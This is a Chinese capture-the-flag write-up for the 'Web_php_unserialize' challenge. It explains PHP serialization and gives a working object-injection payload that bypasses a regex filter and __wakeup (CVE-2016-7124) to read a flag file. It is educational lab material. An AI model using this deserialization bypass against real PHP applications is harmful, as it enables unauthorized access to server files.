攻防世界 web 高手区 Web_php_unserialize
资源&工具
write up
源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
由于不懂php,所以按照其他语言经验&php手册猜代码含义,如有错误,请师傅们评论区指正
明确目标
先看到注释//the secret is in the fl4g.php
,猜测1:flag在fl4g.php,所以当前目标1:访问fl4g.php
重新看代码
首先是个类Demo
,里面有三个函数
__construct():当对象创建(new)时会自动调用。将传入的 $file 赋值给本地的私有方法 $file
unserialize() 时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup():unserialize() 时会自动调用
unserialize()&__wakeup()参考
序列化
class User {
public $name;
private $male;
protected $money = 1000;
public function __construct($data, $male) {
$this->data = $data;
$this->male = $male;
}
}
$number = 66;
$str = 'jerry';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$user = new User('tom', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($user));
运行结果
string(5) "i:66;"
string(12) "s:5:"jerry";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(93) "O:4:"User":4:{s:4:"name";N;s:10:"Usermale";b:1;s:8:"*money";i:1000;s:4:"data";s:3:"tom";}"
需要用 GET方法 传入 var ,不然的话就高亮 index.php 文件源码
if (isset($_GET['var'])) {
} else {
// 高亮 index.php 的源码,效果如题目前状态
highlight_file("index.php");
}
接着对传入的 var 变量进行 base64 解码
$var = base64_decode($_GET['var']);
解码后进行 正则匹配 ,匹配到的话直接结束(die)并显示 stop hacking!否则就是之前的unserialize()
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
难点
上面分析过了,所以主要需要解决两个问题
preg_match(’/[oc]:\d+:/i’, $var)
的绕过- unserialize时__wakeup的绕过
首先直接尝试序列化
```php
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$file = 'fl4g.php';
$demo = new Demo($file);
$s = serialize($demo);
print_r($s);
echo("<br>");
print_r(base64_encode($s));
?>
明显失败
先解决问题1:preg_match(’/[oc]:\d+:/i’, $var)
的绕过
在大佬博客看来的正则表达式匹配网站确认被匹配的字符
这段preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
这里利用php的特性 +4实际等于4
再解决问题2:unserialize时__wakeup的绕过
__wakeup()魔术方法绕过,利用的是CVE-2016-7124
在之前的结果里,O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;} 中的 :1:
是代表这个对象中有一个属性
__wakeup 漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行。
最后的序列化结果
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
base64一下,然而这样就错了,Demo 类的 file 属性是私有属性序列化之后,在类名前后会有 %00 阻断,所以就得在 php 中就把替换和base64编码弄好
最终payload
<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$file = 'fl4g.php';
$d = new Demo($file);
$s = serialize($d);
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$s = str_replace(':1:', ':2:', $s);
$s = str_replace('O:4', 'O:+4', $s);
print_r($s);
print_r("<br>");
print_r(base64_encode($s));
因为是get方法,所以浏览器输入就行
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
reference
参考了几位大佬的博客
https://www.cnblogs.com/Jleixin/p/12988831.html
https://moreant.github.io/post/60542.html